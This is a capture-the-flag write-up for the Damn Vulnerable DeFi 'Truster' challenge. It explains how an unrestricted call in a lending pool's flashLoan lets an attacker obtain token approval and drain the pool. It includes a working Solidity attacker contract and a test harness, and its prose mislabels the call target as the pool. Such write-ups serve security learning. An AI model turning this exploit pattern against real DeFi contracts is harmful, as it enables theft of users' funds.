Damn Vulnerable Defi Finding Report

Version 1.0

Elia Bordoni

November 18, 2025

Damn Vulnerable DeFi Truster Finding Report

Elia Bordoni

November 18, 2025

Prepared by: Elia Bordoni

Table of Contents

Exercise Summary

More and more lending pools are offering flashloans. In this case, a new pool has launched that is offering flashloans of DVT tokens for free. The pool holds 1 million DVT tokens. You have nothing. To pass this challenge, rescue all funds in the pool executing a single transaction. Deposit the funds into the designated recovery account.

Audit Details

Scope

- TrusterLenderPool.sol

Tool Used

- manual review

Findings

[S-H] FlashLoan function allows borrower to call any function from any contract, Pool contract itself too. Calling Approve is possible to drail all the token on the pool.

Description The contract includes a function that allows users to request a flash loan. After the tokens are transferred to the borrower, the function performs a call to any target address using arbitrary data, without any restriction. Once the call is executed, it verifies that the loan has been repaid by comparing the final balance with the balanceBefore. A malicious user can request an arbitrary amount of tokens through the `TrusterLenderPool:flashLoan` function. By passing the pool contract itself as the target and supplying the function signature of `TrusterLenderPool:approve`, with the malicious contract set as the spender and the entire pool balance as the amount, an attacker can grant themselves approval. The attacker can then repay the borrowed tokens to successfully complete the flash loan without reverting, and immediately afterward call `TrusterLenderPool:transferFrom` to drain all tokens from the pool.

vulnerability

```
     function flashLoan(uint256 amount, address borrower, address target, bytes calldata data)
        external
        nonReentrant
        returns (bool)
    {
        uint256 balanceBefore = token.balanceOf(address(this));

        token.transfer(borrower, amount);
@>      target.functionCall(data);

        if (token.balanceOf(address(this)) < balanceBefore) {
            revert RepayFailed();
        }

        return true;
    }
```

Impact An attack of this kind can result in the complete draining of the pool, fully compromising the protocol.

ProofOfConcept I created a smart contract that interacts with the flash-loan mechanism using the following parameters:

- Amount set to 0, since no tokens are needed and the goal is only to leverage the unrestricted call.
- Borrower set to the address of the contract itself.
- Target set to the pool contract.
- The data parameter encodes a call to approve, designating this contract as the spender for the entire pool balance.

After the flash-loan execution completes and the approval is granted, the contract invokes Truster-LenderPool:transferFrom, specifying a recovery address as the recipient, allowing the pool's entire balance to be drained.

Attacker Contract Code

```
contract TrusterStealer {
    ITruster truster;
    IERC20 token;
    address recoveryAccount;
    address owner;
    uint balancePool;
    constructor(address _truster, address _token, address _recovery){
        truster = ITruster(_truster);
        token = IERC20(_token);
        owner = msg.sender;
        recoveryAccount = _recovery;
        _attack();
    }

    function _attack() internal {
        balancePool = token.balanceOf(address(truster));
        bytes memory data = abi.encodeWithSignature("approve(address,
           uint256)", address(this), balancePool);

        (bool success) = truster.flashLoan(0, address(this), address(
           token), data);
        require(success, "flashLoanFailed");

        token.transferFrom(address(truster), recoveryAccount, token.
           balanceOf(address(truster)));
    }

}
```

Attacker implementation on the test

```
    import {TrusterStealer} from "./TrusterStealer.sol";

    /**
     * CODE YOUR SOLUTION HERE
     */
    function test_truster() public checkSolvedByPlayer {

        TrusterStealer trusterStealer = new TrusterStealer(address(pool
           ), address(token), recovery);
    }
```